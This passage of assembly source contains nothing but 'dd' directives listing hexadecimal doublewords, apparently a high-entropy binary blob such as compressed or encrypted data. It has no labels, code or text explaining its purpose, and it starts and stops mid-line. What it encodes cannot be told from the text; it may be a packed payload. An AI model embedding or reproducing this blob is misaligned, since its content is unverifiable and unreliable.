1BCCEF69h dd 0A5C99700h, 9C1ACF8Ah, 3C5F0029h, 0FD6FE81Eh, 0B60925Bh dd 93FA1678h, 51390307h, 6E4F7A4Bh, 66E16890h, 0C6C04200h dd 44869849h, 4E2C003Eh, 5CAB4840h, 61FA079Eh, 0A74F9F00h dd 0C653AD30h, 0CF340094h, 851D455Dh, 0F70227B5h, 71339E06h dd 0DB15607Eh, 0ECAB0C98h, 44800C12h, 864A930Dh, 0F40207Fh dd 0DEF584h, 85F22E92h, 17D7BE5Ch, 8C124202h, 0E03C4307h dd 7C68E151h, 632A00DCh, 0E6C3AE81h, 92B00F58h, 0F300597Dh dd 34CE12D4h, 0ECED2C0Dh, 67FF1984h, 8068F8ABh, 3D02568h dd 4847BAA3h, 0B10F94B2h, 4A0C2DEh, 8E349E60h, 90FDE200h dd 0EEF1F4A6h, 99920053h, 0ABFE4650h, 0DF3B2DA9h, 8F5605D9h dd 46C0AEB0h, 24A30AC2h, 80EC7ACFh, 595CBDB2h, 177B7522h dd 70C7880Eh, 0AC3961E7h, 64F87FF6h, 0DEE800C9h, 6C8F6AB3h dd 0D185460h, 0A678B61Ch, 913B00FBh, 905342C8h, 0D400822Dh dd 9E1C9606h, 0FC402BFDh, 738B7A5Ah, 2DEE0069h, 0A470753Bh dd 12004E3Eh, 7DE0F87Ah, 0DE42A165h, 0DFBEC8A0h, 4C8CDB03h dd 40CFD83Bh, 7DD703AFh, 0C09F2FA2h, 73A1B80Eh, 91C27D19h dd 40940426h, 0B8337C68h, 27EF0723h, 707A309Bh, 63E179B0h dd 0C31A670Fh, 0DD930721h, 8AA19510h, 5AFD005Ch, 97985DC5h dd 0F8009B40h, 0FA03F515h, 727501h, 25140982h, 4A67C5B6h dd 0CA03ECB0h, 6436FA96h, 55539078h, 0A8470295h, 0F2CD5B48h dd 73298D40h, 179FCF03h, 0A75F323Bh, 0AFA0EFB1h, 0C54560h dd 6547CABh, 5015B67Ah, 1C13B00h, 6B4348DAh, 4BE00AAh dd 0B0E82DC3h, 0C8002175h, 1979C252h, 64057Bh, 0EA113777h dd 0AC2DD3F5h, 5C669A00h, 0BA103830h, 441900ABh, 57429028h dd 4C742AA8h, 301F6701h, 0F99462F2h, 3D266ED8h, 652CFB36h dd 8B5D0088h, 0DD0769D4h, 0E8BBF600h, 5AB31398h, 0D66E03BDh dd 0CC0DD092h, 3F023B80h, 2C046D1Ch, 53C93280h, 3EB969h dd 13520E44h, 0A9A257BCh, 6C9BB500h, 41D290DFh, 9437004Eh dd 5424C502h, 0D11D1D6Fh, 83C06ACDh, 0C38252BEh, 0FC150057h dd 3D33DC6Dh, 0C800EA74h, 0D360EB7Dh, 49630Eh, 0FCA2FD7Ah dd 40902671h, 2745F51Eh, 53C0AE5Eh, 5A991F0Fh, 786C77AFh dd 1BEC0F16h, 0AC003ADFh, 0E224F1A1h, 0B800FDEAh, 9613A33Ch dd 0B8FC2880h, 4EEF1728h, 0B64A095Bh, 33C30B00h, 5030EB8h dd 8C01FCD2h, 892FA864h, 0D0AD48D6h, 3999411Fh, 3FC09583h dd 0E67CE417h, 190008FEh, 0DEA58235h, 262FAFB0h, 80DCB50Ch dd 0D514F443h, 1B98BFBCh, 80EEAD38h, 0E26433C0h, 9EB445h dd 5EA258A7h, 0D580E366h, 0BE7E0300h, 0C2F51D41h, 2D1E4A9h dd 18E95FCCh, 44C0BCA0h, 249948DBh, 9F9ABF04h, 0C818080h dd 39207EB9h, 0E40039B6h, 0E54CDEA6h, 9675F233h, 25C33E03h dd 26A83D47h, 4378A248h, 0C0CC80DDh, 41317BF0h, 0D2720200h dd 37425971h, 61E40055h, 0E0F5A21Dh, 763D870Bh, 80F0BE8Fh dd 8A02D8BFh, 60801A08h, 397A68F1h, 185820B1h, 973E0077h dd 74C73F57h, 6D1008Fh, 382612E6h, 2B00BD8Dh, 57A8AB65h dd 16EECCA3h, 729ACBh, 0A64E0C6Ch, 6500A7DDh, 1DE549D6h dd 16D51E6h, 4CE0D838h, 0F95B1CB0h, 5860DA56h, 0B8038598h dd 0A74D07F8h, 0D2D8004Eh, 16E10239h, 0A14DD584h, 20C210C4h dd 7385D783h, 0A8200BFFh, 91B6CE72h, 0D3CDB32Ch, 6DC62200h dd 75A88CE1h, 0D43A009Bh, 82C5BA26h, 0CF003336h, 0A427C6A3h dd 0BBB2E5h, 2A982912h, 193C6358h, 0E08CF200h, 21C2F635h dd 2E9A001Dh, 0FC3DE80Dh, 4004145h, 0E0A2E3EDh, 4CA755C6h dd 0CD0179B3h, 87B1A0DBh, 0BE5AE89Ah, 0D700297Ah, 0B9B42F93h dd 924F3F4h, 641F197Ch, 0EA31E280h, 0BB00ED3Eh, 709A47C8h dd 0E1C3C4h, 209CC45h, 55D4A505h, 6900C8FCh, 0E3724AD3h dd 194A4B8h, 1F905A7Fh, 0C8E2D266h, 5D00C311h, 36AAC823h dd 0B8ACE5h, 0FBB5730Bh, 0DCECD2E6h, 0BC5C6E00h, 81DBE2BDh dd 0D4020076h, 2A8E7270h, 4D1C6233h, 13035B3Ch, 0C87153AEh dd 3234F6h, 9886CA6Dh, 0FB08B3F9h, 0A8026907h, 5F402FD3h dd 429FBDh, 0A266BB39h dd 68510F56h, 4FA3A600h, 7F92DBEEh, 2BB00243h, 961080F0h dd 0CE78A7E0h, 0EFDEF603h, 8861B32Ch, 0BDCF2Fh, 54161CAAh dd 39C2A8D5h, 8697E07h, 0BE209A09h, 0E55086B4h, 25ACCh dd 48DEB871h, 0FDAD7DAEh, 0EE24F400h, 0A66AB742h, 72943907h dd 9B718D80h, 769C4AFCh, 4EA5C100h, 81880D29h, 0DAA814EAh dd 0F400E5B0h, 0ACCE8ABBh, 4000E932h, 2BD63928h, 0E8DC3DD2h dd 9E4E0C9Bh, 2EB82FCBh, 821C6C7Dh, 0BA408087h, 4914FC19h dd 51D300A4h, 6A449902h, 0A10F455Fh, 609160B9h, 0F7B3E113h dd 0C00B005Bh, 0CBB08AC9h, 9600DDD5h, 68D7E2ACh, 8B7E32h dd 1240D921h, 18D3E1B4h, 865E0D00h, 157624CAh, 1D4401C0h dd 5FED1173h, 4639D88Eh, 0A66B9B00h, 0F67E14C6h, 0DD7F00FCh dd 5960CEADh, 0F00514Ah, 15167561h, 2A7BEFEh, 0B6ECF23h dd 0CC8049ABh, 61EC7B7Ch, 9D2BE1C0h, 5D7597h, 26A1706Ch dd 0A228FDF4h, 0EDBFC00Bh, 1D9B00FAh, 9B1CC1h, 858B5D0h dd 0ACF2FC92h, 0A9E45Ch, 213709D3h, 758F057Ch, 2BCCA0B3h dd 0C9E22E9h, 56F0B01Dh, 458B3840h, 0A01F4453h, 4A921Ch dd 27630A75h, 7616A1B4h, 3E315400h, 79A2938h, 90EE8EDh dd 3D2C56F9h, 0A0718407h, 0FA53BC89h, 27649F00h, 0B4053774h dd 0AAA800C9h, 8ED3BEDCh, 0E200B73Dh, 82548487h, 53A911h dd 0CF151C47h, 551B8E8Ch, 3A017301h, 0EB23D0A6h, 62545ECh dd 0CA6E48A7h, 6B1C10E0h, 7C40E7EDh, 0F5BE541Fh, 92850097h dd 0B27DA42Fh, 6E00E330h, 45AA5D35h, 2A2713h, 98FB7B61h dd 69C34189h, 0D13DCA00h, 0C6326A09h, 0FC8E04EBh, 80C5D8AEh dd 6CBA1151h, 3FCE1E00h, 0E68A74E7h, 0D02D2CC4h, 607505A9h dd 0E5D80032h, 0C95B6CAh, 572A9200h, 33A90881h, 358D337Ah dd 0DB98A39Ah, 275C1D7Dh, 119C30B1h, 48551CCAh, 0D50490C2h dd 80192343h, 3B89B8FDh, 0DD35E51Fh, 8125F98Eh, 0FB71D97Eh dd 0B2CE708Ch, 77053508h, 0DD89C387h, 0A7CC15C3h, 850E0591h dd 0F1D21BBh, 5CA83084h, 9A1D5774h, 7B2664A2h, 5A81ED1Fh dd 2FDDCF27h, 0FF0160h, 0B244589Fh, 5112465h, 3CC31228h dd 4D00927Ah, 3DABFC53h, 1EC41DFh, 38BFDD8Dh, 705A9A93h dd 5D00BA95h, 11DC6B0Dh, 0CC66528h, 9F123754h, 0C50C5388h dd 0B877745Bh, 703182E3h, 0FD000AC6h, 0F6ACAE8Eh, 2E389C73h dd 718483C0h, 0E8DFF061h, 7ACAC1h, 19D3B0C7h, 1DBB99A6h dd 1A709200h, 54154B9Ah, 247076h, 75E290A2h, 0F4813A74h dd 3114C803h, 0A87BA662h, 7F821Eh, 16597C80h, 0E3534642h dd 0FC549500h, 0E214B8ADh, 7CEAE8h, 49A94E03h, 0B6C3D5B9h dd 85605E01h, 0F96A46B2h, 0BFEA9CFh, 0A8D83920h, 424FC0h dd 0BFE098EAh, 0F42F60C2h, 1095A900h, 660E74ACh, 0CF28C08Ah dd 0EE7838D3h, 4E0062F0h, 5F39D19h, 0A8683C71h, 34B38Ch dd 2D228817h, 0B01D6D13h, 301F2F01h, 5AAE4B2h, 779BC8D8h dd 0B4E00F7Ch, 33E02474h, 5C02E1D3h, 0B7B8B4A8h, 1A652C05h dd 0E0C0AC60h, 1951474h, 34FBECCFh, 8AE361E2h, 0E083FD70h dd 753387BCh, 15603FAAh, 18AC26h, 8892BA32h, 0DAB1EC9Dh dd 2305FF00h, 0F0B47E52h, 9A36090Ah, 34008CF1h, 3CBA44D5h dd 34C83907h, 0DA10856Bh, 4650D96h, 0E2A51AE3h, 0DD38C21Dh dd 1FE59CA1h, 0C2C2DA3Ah, 13B92D60h, 88502803h, 8080B46Ah dd 0F102D19h, 1F2ABF35h, 875E1D27h, 94B4C06Fh, 2D008C3Eh dd 9FF38FB1h, 788854h, 62B64136h, 706DB43Ch, 11FA7D34h dd 10C047Eh, 4E10969Bh, 51AA0200h, 2A5E9DE0h, 0F6A7717Ah dd 3A360070h, 0BB531501h, 0DF32936Bh, 1052296Ch, 1189C3C9h dd 0F844B908h, 85108456h, 0DD212B76h, 91FD7F08h, 37C300AAh dd 5B3343FCh, 1567005Fh, 3A46B5D5h, 5C00A39Fh, 0ABB43071h dd 5FFF1Ch, 8F9DF1F6h, 0AAC63604h, 3578B300h, 33225828h dd 0A8F000F7h, 0F9165A39h, 8100E1B1h, 0D0F15542h, 7A71AAB8h dd 0D4B00FEh, 1EC8D6C3h, 3C00F589h, 10A472D1h, 0E7A2FFh dd 95132803h, 0F4C7FAF2h, 691C7300h, 0CBD24DC2h, 28120024h dd 0E4292B64h, 4F44535h, 2A8AE700h, 22E25260h, 0F39100D9h dd 94F4BF0Ch, 2F5841A1h, 0C3A9007Fh, 99DDA082h, 8E5B0267h dd 0EA39C707h, 0DDFD4A0h, 0EF00F70Ch, 8236CB9Ah, 3E9BCA7h dd 2FBAACFh, 0F5D877C3h, 0FC1FB3B5h, 0A80BDA2h, 0E07FBE01h dd 0FFE60C19h, 0C6B0D443h, 95EAE100h, 0E7BEAD88h, 0BB410556h dd 433AE6h, 0E35DBCBh, 0EE02C0D5h, 5E2644E8h, 1C2CE0A5h dd 0F2D61273h, 0D1C00F9h, 967C5B3Fh, 1657200h, 2D93EE07h dd 0D4020078h, 2F90D919h, 80FC8674h, 0D1289A00h, 9520F65Eh dd 485C0033h, 943BDDC8h, 53000F25h, 60EC03AFh, 18686Eh dd 0DD7B39Fh, 0F2E53044h, 0C04CAD03h, 0E8BF58D4h, 0E0E664Ah dd 0C88B8EEFh, 98D0D83Bh, 9C7A3594h, 5ECA610Eh, 16405D29h dd 0D6C96048h, 0CE130089h, 0FBE755A3h, 0A838FE54h, 0A1F20799h dd 60EFF90Ah, 0A65E6964h, 59700F38h, 0AF0E5585h, 801676C4h dd 0FDC0AB98h, 2DBEB107h, 0D100CFB9h, 0C56EF0h, 4CDBB521h dd 1A19E50Bh, 0CCE94307h, 0B660CB74h, 0F071DEh, 11830C70h dd 0CF2AE7FBh, 0B21F7E09h, 888A0029h, 0AE0BC507h, 1C793DF4h dd 0ADB41Dh, 0A89957BBh, 53267140h, 80018D5h, 0A7C7399Eh dd 48C40356h, 3D20F201h, 3AF5B980h, 0FC73FF3Ch, 3F2BA000h dd 146D86F4h, 9FD9017Fh, 19BD05D1h, 502CC1B0h, 0AC8AA3F0h dd 34F4C900h, 0E93FC42Dh, 6EC52447h, 8E9A0044h, 7C78ABDFh dd 31F59800h, 0FE6B5C76h, 15E3073Ah, 0E3655247h, 26997FBFh dd 0D3F2FCC9h, 12587B01h, 0F6B13FC6h, 97A5C8h, 67385165h dd 4F0246D4h, 50EA621Eh, 0A94CAAC0h, 2FA1D2h, 1D2B4958h dd 7194D0Ah, 8C89C100h, 0B1BEB6EEh, 3A7487h, 0C308736Ch dd 5A7FE944h, 3D9DCF01h, 5EAA271Ch, 3BA3CECh, 89D466F9h dd 86B0ABAFh, 0E7E0E8AEh, 0CF4DC800h, 7F5780FBh, 0CBF004Bh dd 3E7D614Ah, 3B14D85Ch, 1FC0708h, 0E4AFACDFh, 85FC792Ch dd 0AEAD0018h, 695D33E9h, 0D7004531h, 0B4984139h, 0E4B796h dd 8A42657Fh, 687A8C16h, 471DF400h, 0F22B1F23h, 877E1D85h dd 3B9C00ADh, 91A68CA2h, 0B0E75100h, 7FAA30Bh, 867D00FBh dd 305BD43h, 0B89146A9h, 57D4680Eh, 60BAD30Fh, 0A851BCF1h dd 6AE8FF3Dh, 888600EBh, 41584A7Dh, 0F4E37107h, 0E4003E1Dh dd 273145BCh, 3387DF9h, 0A4ABC9DEh, 0D4C0D25Fh, 55006A08h dd 59E29517h, 15CF7E5h, 48C898B9h, 434A6DAAh, 80E725CDh dd 931D4F07h, 92D4D105h, 74C05733h, 121FE7h, 0FB181037h dd 0D85E3619h, 72ADF600h, 5181A0E8h, 0E3CD02D9h, 2F073F4Fh dd 0B8799F80h, 52003B7Dh, 8121C2Bh, 93A0A8h, 63864237h dd 0E3C4B161h, 74C0B800h, 24E6E1BAh, 109068h, 0ECF428CCh dd 0DF471F44h, 80C7963Dh, 8F24F22Dh, 3B5568C0h, 0C500266Ah dd 9583D35Dh, 341E899Ah, 3B00DDBEh, 884A9D75h, 0E5B30047h dd 0E824C217h, 0F71202CFh, 173BC5h, 8EFBB0h, 94A7C691h dd 5AE70508h, 71228B01h, 1C44664Bh, 0E0C77C21h, 0F5C7D2B3h dd 1C14C30h, 0E4081BAAh, 40D38081h, 0B5D6F4CCh, 0F5316200h dd 5A3E49C3h, 8BBB0028h, 8434441Fh, 0A10BE299h, 31072h dd 386FCE49h, 0ACDC0F0Eh, 48604592h, 664F72F3h, 533D3Ch dd 201D39ABh, 0F8C3C4B8h dd 7A5F46Dh, 0CAFB2811h, 56DE9161h, 131BF45Ch, 9ED02200h dd 473BED94h, 0D28104B8h, 80BB4E8Dh, 0FD3424F4h, 82CC6000h dd 9BEFA4D0h, 0C407007Bh, 84E8CDF6h, 0B8137C6Ah, 0C900B9CEh dd 3DC1CC54h, 5E88019Eh, 0F934AB5Bh, 0FCD8603Ch, 0F878A700h dd 0EAA1DDD5h, 6622C2Bh, 497A80B4h, 0C21C1144h, 0B2B43F50h dd 65AB8900h, 0BE25058Fh, 0CF781F70h, 0BF178091h, 9C0C8536h dd 0E65B1401h, 6CF7CBA0h, 75184864h, 0AC030724h, 0E72C999Ch dd 3A52C277h, 0BE5A30C0h, 0C17CEE0Bh, 0A28C209Dh, 4C1D07AFh dd 0AA0F5C0Ch, 978082FFh, 0BC885721h, 7C392460h, 7B3A2D6Bh dd 0D1D50EDCh, 74E06F8Eh, 20E3CE1Dh, 0E4CBDE1Eh, 0E1AE9580h dd 56385E0h, 3E28A59h, 8FD20061h, 22E79DEAh, 6480109h dd 0A14800D9h, 1B153AEh, 37DE143Dh, 0FC676064h, 81F60B72h dd 79998E00h, 2A8C1DDBh, 56A3133Ch, 0B74F00CCh, 2B851EB4h dd 16F56C00h, 8362BBC8h, 67971D15h, 3732C3F9h, 78F0EF57h dd 5E1341D4h, 4C02D8EEh, 405B3A74h, 103A782h, 6BC34C8h dd 0E09E287Ch, 0C700D070h, 41243D44h, 19C07Ah, 0FCD93389h dd 0B67DAE9h, 4A5E531Eh, 0F4321140h, 0F2A1DC9Bh, 0D0EC17F8h dd 0B630098h, 64569A5h, 0DA1B4D0Ch, 8A68B9h, 9AF97689h dd 2359F7EDh, 0BD623Ch, 0A5ECF0CBh, 3CC171h, 6A179693h dd 0F7D50A8Ch, 300ABE75h, 0D9296CD4h, 35733700h, 0B2364Fh dd 5980F8EAh, 21DE9472h, 0C8FC531Eh, 478A7180h, 0E69AB4B2h dd 0C87B6055h, 0AFE14579h, 50DC0600h, 0FD319CA7h, 225B00AEh dd 0BBC289Fh, 0FE004430h, 54202B1Ch, 18DCF25h, 9B3897E8h dd 0EF8B8253h, 29B950E7h, 0E302589Eh, 0A5F27528h, 0C8A08063h dd 0F4D4E9FDh, 0F74100B1h, 3E377EEEh, 780C6632h, 296D72F2h dd 2DC42CEh, 9A1E22CAh, 1C56E0A4h, 11794Fh, 4673DF51h dd 0F14AAD12h, 81AC2600h, 0CA783C45h, 7D9C00AEh, 76F36657h dd 0B93E022Eh, 0D79893EBh, 5C07BA12h, 0A2E0459Eh, 5395A8h dd 8789EC63h, 290BD9AAh, 0CCFD2528h, 0E6BFD203h, 3C39A2B9h dd 0AF015724h, 697D041h, 0D880F2DEh, 7E4A34FFh, 0F2C3DC00h dd 0C6084D04h, 5F480071h, 913BB22h, 20001ABh, 1C397238h dd 190D8Dh, 0E711C4F4h, 32859780h, 0FCC60700h, 8CA55E9Dh dd 145600DAh, 0D5C8AD40h, 3BFCD306h, 0E9873E09h, 17A8E57h dd 3797BAFEh, 253020h, 0E412DA2h, 3AC6AD1Eh, 108A0C01h dd 0B12C71DBh, 9E2049D5h, 0D17D0093h, 742316CCh, 4A3FA456h dd 40F480EAh, 3009C06Ah, 1D7809ECh, 76005F0Bh, 87E1635Bh dd 731C8AF0h, 0EB57B3CDh, 18668A0Ch, 7ABC00C9h, 9064CBD9h dd 2A1B8F38h, 0F8402006h, 60CC1B1Ah, 69C5111Fh, 0F5385B67h dd 5ED9F88h, 0D1C37100h, 9203A2h, 0ACE524B0h, 0E29DF314h dd 2387AB00h, 81D9A5D8h, 0E6B30030h, 0F62938F4h, 8031EEAh dd 495E5C7Ah, 1356037Ch, 0BD7486A6h, 55F4C5C0h, 0D5B04700h dd 30066059h, 0F6430025h, 0F50EBC62h, 52008932h, 0C22FD37Ah dd 3BCF75F7h, 6C007BB1h, 0B2F6DFCBh, 5A000C41h, 0BB8258F8h dd 0D6C55Bh, 2D8EA9A8h, 4A491C7Bh, 0AD108400h, 43D79469h dd 0CE511EA1h, 232E4011h, 0D0837E8h, 4F428502h, 0E0B23D27h dd 0B09A1087h, 886300F9h, 0CF4530D2h, 271D8A6Fh, 0C38199B2h dd 0DAC07426h, 1ACDB0D3h, 8065007Eh, 8BF806D9h, 3E0C593Ah dd 98F470F1h, 2C8D284Ah, 2B75E5h, 6D29EB8Fh, 854837B8h dd 8E502E00h, 0BB025CF0h, 93DA0F9Ah, 0AE48BDDh, 0D0BC8736h dd 54CD338Ch, 2D91850Eh, 28C6E05Eh, 3B3E5A81h, 9D8018F8h dd 7819DB55h, 1300ED46h, 0BD03C7BAh, 27F56A7h, 0D6860F0Eh dd 9086AA55h, 490F18BFh, 96929990h, 0E065505h, 826C89C1h dd 69AC34h, 43D43B09h, 0FA71E58Dh, 8F7E9B00h, 493E1155h dd 0CA200029h, 0E719AAFDh, 960089C2h, 0E64F5E93h, 0C82E57h dd 58CBDC97h, 12186CA4h, 0A107D490h, 50681663h, 0BDC73190h dd 0F292001Ch, 0C405BAC8h, 8F3A1AD4h, 699800D2h, 0C55C6EAh dd 7B3F00A6h, 534B4A9Eh, 5F001710h, 0F424EDDFh, 2FB83Ch dd 0F17BD87Ah, 7202D4C5h, 0CAE61B00h, 0FE13AA32h, 40643FB8h dd 0CF804502h, 24C86A9Bh, 6300797Ah, 7AD2A89h, 9764DF7h dd 11B8C6Eh, 71621083h, 0E76621C0h, 0A13C7707h, 4B20EA0Eh dd 9D29E0h, 59A26D92h, 865CE5E8h, 0F41B1F13h, 4482F000h dd 0F545C2h, 0E5D885B0h, 4F27F079h, 3B0EA600h, 0CA4BF9D7h dd 0B362A26h, 3D7100B4h, 0B81F6AABh, 0B300923Ch, 0EE30F17h dd 5D78030h, 21EB2FBFh, 8E2AC789h, 9C9357C0h, 991E8AB4h dd 70002C3Fh, 632E00Ah, 0D77A00A8h, 44D55820h, 6A2C7960h dd 0F58F90E5h, 9CA880EEh, 0C49963h, 89889D9h, 81A6C270h dd 660EEF07h, 2C50879Eh, 0E59C804h, 56C73B3Dh, 0C58CAE64h dd 76A7803Ah, 95021158h, 4C358365h, 0DCAC8302h, 7491C08Ch dd 4ED90092h, 0BE60D0F9h, 4006810h, 0AE4366A1h, 182C98FBh dd 50E688B8h, 0CA00C631h, 0BE858CA8h, 32D404h, 0E2898B40h dd 339F280Eh, 0B8BB9200h, 0F649938Ch, 99A400EDh, 0B2C5F0Ch dd 0FBE29632h, 369E3418h, 77C31F9h, 0C79AC42Eh, 151CB010h dd 877DDED6h, 85F0BCE6h, 0E9007974h, 510AD773h, 3E33C59Eh dd 2780A49Fh, 0DCC04F5Fh, 0AC30B5AFh, 0DBD7101Ah, 758010F5h dd 95CD0017h, 68257EC2h, 0E697022Eh, 58FC5DC0h, 5EE8CC0h dd 564DC300h, 8A221D2Dh, 1239DF12h, 0C443EF08h, 0B05559FEh dd 0F9F3098Ch, 58E1B840h, 9BC40136h, 672FE55Ch, 50EC30E9h dd 571F2407h, 4200EDBCh, 7BBE049h, 0E2450548h, 861C9095h dd 410064AAh, 0FC9DF8BDh, 0D94807h, 6D6C55A4h, 0E9E1E009h dd 3FB08F00h, 0C1209938h, 0DEE20061h, 520BF5C7h, 55DD4F6h dd 9C660084h, 51E61AB7h, 9F5503FEh, 5AA5BD01h, 0BEE1F2F0h dd 31A29413h, 9600F713h, 33B671CEh, 95D0500Fh, 0DD9886h dd 8B14AC9h, 0E0CF4B2Eh, 0FE3F9490h, 0DC1A8215h, 6096D965h dd 0D8CBC720h, 0C53D11F1h, 780E9900h, 436FA92Dh, 0FC275921h dd 0E3F1ED00h, 4F238338h, 3C5DA724h, 0F75858h, 7F6369D2h dd 2CA6F31Dh, 3140FB1Dh, 0DBCB5640h, 7ACF2h, 3C749BEAh dd 68290527h, 97244700h, 2F19E77Ah, 0F0431328h, 7E2204F6h dd 0D300FE93h, 25CA47A3h, 0ED524DDh, 0F5F900A6h, 0B3786F19h dd 8DF69F00h, 827FAC37h, 881B1811h, 0D7EE108Fh, 878C5300h dd 20D25EF0h, 6B150B23h, 0C802778h, 0CA8AB007h, 84BBB400h dd 5D3D3896h, 0A3400D7h, 511A7FB9h, 860052DBh, 83D5F5DFh dd 1CBFD66h, 4E7C1043h, 0D44674D3h, 7D758EF8h, 6800CFF8h dd 285DD2D7h, 0EC865B4h, 0AFED75E6h, 93F6F340h, 0CC1692A3h dd 4E0029ABh, 0E58CC5CDh, 2355009Eh, 8A163384h, 5E002C14h dd 3643BC2Fh, 3832531Fh, 4B80B1B3h, 0CF50E75Bh, 850041EAh dd 0D3BA2FCBh, 0F63D572Eh, 0ADFAD5h, 0A83C5A1Eh, 7C271CD6h dd 4D0CBA00h, 0B1C8313Eh, 0EB70046h, 73166082h, 27006C84h dd 0C0F57E8h, 1B81E0h, 32381EF7h, 0F21707F6h, 11002CFAh dd 2BAC5FBBh, 623B80h, 57998B86h, 54798776h, 816A9E3Bh dd 0E8F393EEh, 82012D2h, 2C26000Ch, 1C0F3E52h, 0C8001EF4h dd 0FBA6BC93h, 48C1192Fh, 0C5008C04h, 52057BB7h, 55030F6Fh dd 7ECE6383h, 6AFFA870h, 0FCAA70B2h, 407B4C88h, 0D68BC900h dd 59B74E9Eh, 643FAEB0h dd 0B4AB2AE0h, 575A7107h, 0FED70DF1h, 5F8A7890h, 69D00CBh dd 0D03AF5E4h, 54FE138Eh, 0A1670F00h, 24FC9643h, 9F3E0012h dd 0EA8C6459h, 2A60E422h, 3011BD11h, 0FFF0B7E9h, 0B80082F0h dd 0C4B1A19Ch, 332688Eh, 0F3EF44FBh, 6A805689h, 8A00692Ah dd 980D5AC1h, 3C45F787h, 7B3AD184h, 0AECC1306h, 72F8B001h dd 84FBEA28h, 0C102CF0Eh, 32881EFh, 0CAC0D286h, 6EA006Eh dd 0C48ACC0Fh, 6B1879F2h, 0EFF0B0F1h, 6EE31D68h, 0E0312FAh dd 581A5430h, 0BFF83800h, 6E0014CFh, 5D5D0FDh, 74B97009h dd 39860F40h, 5A208A58h, 0CCE48476h, 74C8154h, 37010F81h dd 0C3E7D012h, 8B6E880Ch, 1BF6F00Dh, 30EC28F8h, 69526AC0h dd 83F9CB00h, 107B56C2h, 0D29500BAh, 0EE07B0A5h, 0AC005B3Bh dd 0D9634C45h, 4C20C1AEh, 510055C8h, 6C90E778h, 0E90012E2h dd 446B09AAh, 0F017A786h, 4E0F0FA0h, 45C0EC5Ch, 272C7493h dd 0C9E6D200h, 70795A56h, 0FCF30F5Eh, 9461C6CDh, 0BD55F9C0h dd 75F4F898h, 14A9AA6Fh, 0F1248304h, 6B100044h, 0EDB5BBCFh dd 4C0B5E8Fh, 80606276h, 246F5FB7h, 0C78C0199h, 4912682Ah dd 1A2890B7h, 422D5E84h, 3C437DDh, 5121BA26h, 19FB0816h dd 814C194h, 8BBE96Dh, 0A9882EB2h, 7C59104h, 131C3AFEh dd 1EA283h, 0DC28A008h, 0C32BA5C0h, 2038CB30h, 424F0h dd 0A23D0C3Eh, 0C6967572h, 360E2C00h, 0D8F59FE5h, 0B0900033h dd 0FF9BDCAEh, 0AC0F47AAh, 0D2E4F3B2h, 0D7C97100h, 796EBDh dd 0A102EFCBh, 0A8785C3Fh, 50000EB0h, 9AC034FCh, 777CDBh dd 4E4DA40Fh, 9BA5B2D5h, 34E30E01h, 52418EF0h, 0C370F4h dd 2C5BAD6Eh, 1BC60355h, 54982400h, 8811DEA2h, 3A047336h dd 0B680A061h, 380EF099h, 21E71DF1h, 0B5C3FCh, 0B2ECCAD8h dd 430049AFh, 0B18C6B9Dh, 0B503E2h, 5296E559h, 2ADE6F82h dd 47BAB003h, 80D619E0h, 389902h, 0CB8428A9h, 680763B2h dd 4FF99E0Eh, 1719B839h, 0E4D901F7h, 8EAC58CFh, 0BB988EBCh dd 215D6015h, 3979948Dh, 20489E78h, 7A079300h, 599A3613h dd 6147631Dh, 4A5CF280h, 166D6A5Fh, 133303Ah, 0D7DFB0E7h dd 0AACDCC89h, 37DC0600h, 20BFBAD2h, 2C38007Dh, 2579682Fh dd 3C006083h, 0A0074EDCh, 41B6E4h, 8CC03557h, 6A49F63Eh dd 6345C21Dh, 0C87115C0h, 0F2027BFAh, 96E3072Dh, 61AF51CCh dd 30C259E7h, 0D00267Eh, 7AA36DE0h, 0FE3480h, 47F6D169h dd 5A6E3D72h, 0E3AC700h, 1C8E5DFCh, 59C41E32h, 81B943C9h dd 0F0006E31h, 0D37AFBB1h, 0C35E6385h, 9D687108h, 9C6B62C0h dd 7B09881Fh, 4775B000h, 0A0CCCF7Fh, 79D635D7h, 89A70006h dd 29B3DA27h, 0EA12D170h, 401D3FE1h, 2E4E8741h, 55C0D038h dd 3A640FF0h, 0CA47A440h, 172F103Dh, 2701A5BBh, 4442701Eh dd 33FC6D71h, 0D8F0007Eh, 0CE2816A6h, 0DE006CB4h, 695BEAB7h dd 19B678h, 0F053E60Dh, 43AE9FBh, 0FFE21612h, 0B2E6000h dd 9BC505Dh, 0F8631EC8h, 80586284h, 0EB3F5164h, 312F1800h dd 0E9A7408Fh, 781600CFh, 0CFB6159h, 0A201499Fh, 32F3FD3Fh dd 7FDC1504h, 0F9EB0238h, 44827997h, 2C0E1448h, 5592BE00h dd 0D84FA7C2h, 9179D4h, 7195E528h, 161BB70Bh, 9008C100h dd 57292752h, 947301F4h, 0EBC8358Ah, 23188097h, 60F1A9D9h dd 0DEBF03DAh, 4F0F9D48h, 0C8D683D1h, 1751E24h, 454BB300h dd 0CBAAB5B0h, 0F0E461C4h, 0CC767EEDh, 0FF14877Dh, 50A89FDBh dd 0BE182930h, 9510697Ch, 6F672822h, 7FBD38CDh, 8760F900h dd 493E55B5h, 0FE15F100h, 8C9B9A1Ch, 1B7A005Ch, 8A82C892h dd 993D6106h, 0DD6280A8h, 420E0536h, 0D61F002Dh, 5B6F4A9Bh dd 0B27BEE85h, 6B8D4001h, 0DA65CB8Ah, 987B8370h, 4DCA0057h dd 0B2C0E05Dh, 0D907E13Fh, 4AE83093h, 6D0608A0h, 0E807A99h dd 82D84C94h, 0E8FD2A60h, 0A9E48D63h, 1D659CA0h, 0C315B100h dd 3B069AD0h, 0F8CB4C83h, 33A69000h, 99CF6934h, 3F313Ah dd 0DA6BC235h, 5C309Ch, 0EC2B87A7h, 6EE81745h, 0AD0063F0h dd 3343C7CDh, 7720D468h, 22ED00DAh, 496D93B6h, 0A000B5FFh dd 646A027Eh, 0A268299h, 92B9AA2Ah, 8C0900DCh, 87492BA0h dd 1CA6AB26h, 4DD7FC80h, 265F1760h, 9B4F60Ah, 40012722h dd 0CC81A9EAh, 61074B8Ah, 0B05CF010h, 452E73F0h, 4288005Fh dd 9A98DE16h, 2500CA6Ch, 0C4F13D6Dh, 0B2E153h, 897B6A61h dd 66B3FC24h, 0FD3E7017h, 0BB8D5400h, 0AA366Dh, 0B5498453h dd 0B2D12386h, 3B995003h, 0E8A02F19h, 7015D022h, 50F5F6BAh dd 25E4C8h, 8778E7AFh, 3C6146CDh, 1D1C5473h, 1182DF24h dd 80EA392Ch, 0A54EB4B4h, 29DCFB80h, 0FA581C26h, 0AFD840DAh dd 578ABF1Ah, 0D0A2A8C0h, 